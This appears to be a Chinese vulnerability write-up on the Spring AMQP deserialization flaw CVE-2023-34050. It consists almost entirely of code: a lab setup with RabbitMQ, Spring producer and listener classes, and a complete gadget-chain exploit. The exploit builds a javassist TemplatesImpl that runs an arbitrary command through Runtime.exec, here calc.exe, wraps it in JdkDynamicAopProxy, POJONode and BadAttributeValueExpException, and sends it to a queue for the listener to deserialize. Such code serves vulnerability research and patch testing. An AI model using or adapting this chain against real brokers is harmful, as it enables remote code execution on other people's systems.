Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

<dependency>            <groupId>org.springframework.amqp</groupId>              <artifactId>spring-rabbit</artifactId>                <version>2.4.16</version>                </dependency>

<dependency>              <groupId>commons-beanutils</groupId>                <artifactId>commons-beanutils</artifactId>                  <version>1.9.1</version>                </dependency>                                   <dependency>                      <groupId>org.javassist</groupId>                        <artifactId>javassist</artifactId>                          <version>3.28.0-GA</version>                        </dependency>

docker run -d --name my-rabbit -p 5672:5672 -p 15672:15672 rabbitmq:3-management

spring.rabbitmq.host=192.168.xxx.xxx          spring.rabbitmq.port=5672          spring.rabbitmq.username=guest          spring.rabbitmq.password=guest          server.port = 8081

import org.springframework.amqp.core.*;          import org.springframework.context.annotation.Bean;          import org.springframework.context.annotation.Configuration;          
@Configuration          public class RabbitConfig {              //自定义队列              @Bean              public Queue MyQueue() {                  return new Queue("myQueue", true);              }              //自定义交换机              @Bean              public DirectExchange MyExchange() {                  return new DirectExchange("myExchange");              }            //绑定交换机和队列              @Bean              public Binding binding() {                  return BindingBuilder.bind(MyQueue()).to(MyExchange()).with("blckder02");              }          }

import org.springframework.amqp.rabbit.core.RabbitTemplate;   import org.springframework.beans.factory.annotation.Autowired;  import org.springframework.stereotype.Service;          
@Service          public class MessageSenderService {              private final RabbitTemplate rabbitTemplate;             @Autowired              public MessageSenderService(RabbitTemplate rabbitTemplate) {                  this.rabbitTemplate = rabbitTemplate;              }                  public void sendMessage (Object message) {                  rabbitTemplate.convertAndSend("myExchange", "blckder02", message);                  System.out.println("Message Sent Success");              }          }

import org.springframework.amqp.rabbit.annotation.RabbitListener;          import org.springframework.stereotype.Service;                    @Service          public class MyService {                        @RabbitListener(queues = "myQueue")              public void recevie(Object result) {                  System.out.println("监听到消息了");                  System.out.println(result);              }          }   

@RestControllerpublic class MessageController {
    private final MessageSenderService messageSenderService;    @Autowired    public MessageController(MessageSenderService messageSenderService) {         this.messageSenderService = messageSenderService;     }        @GetMapping("/testsend")    public void testsendMessage (Object message)  {        messageSenderService.sendMessage("Hello RabbitMQ!");    } }

public class CommonBeanutils1 {              public static TemplatesImpl createTemplatesImpl(String cmd) {                  try {                      TemplatesImpl templates = TemplatesImpl.class.newInstance();                             ClassPool pool = ClassPool.getDefault();                      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));                      CtClass cc = pool.makeClass("Cat");                      String cmdSrc = String.format("try { java.lang.Runtime.getRuntime().exec("" + cmd + ""); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException("err"); } ");                      cc.makeClassInitializer().insertBefore(cmdSrc);                      String randomClassName = "Calc" + System.nanoTime();                      cc.setName(randomClassName);                      cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            setField(templates, "_name", "name");                      setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()});                      setField(templates, "_tfactory", new TransformerFactoryImpl());                      setField(templates, "_class", null);               return templates;                  } catch (Exception e) {            e.printStackTrace();             return null;         }     }     public static void setField(Object object,String field,Object args) throws Exception{                  Field f0 = object.getClass().getDeclaredField(field);                  f0.setAccessible(true);        f0.set(object,args);     }          }  

@GetMapping("/send") public void sendMessage (Object message) throws Exception {              TemplatesImpl templates = CommonBeanutils1.createTemplatesImpl("calc.exe");                            AdvisedSupport as = new AdvisedSupport();    as.setTarget(templates);     Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);              constructor.setAccessible(true);     InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);
    Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);                        POJONode pojoNode = new POJONode(templatesProxy);     BadAttributeValueExpException poc = new BadAttributeValueExpException(null);    CommonBeanutils1.setField(poc, "val", pojoNode);
    messageSenderService.sendMessage(poc);}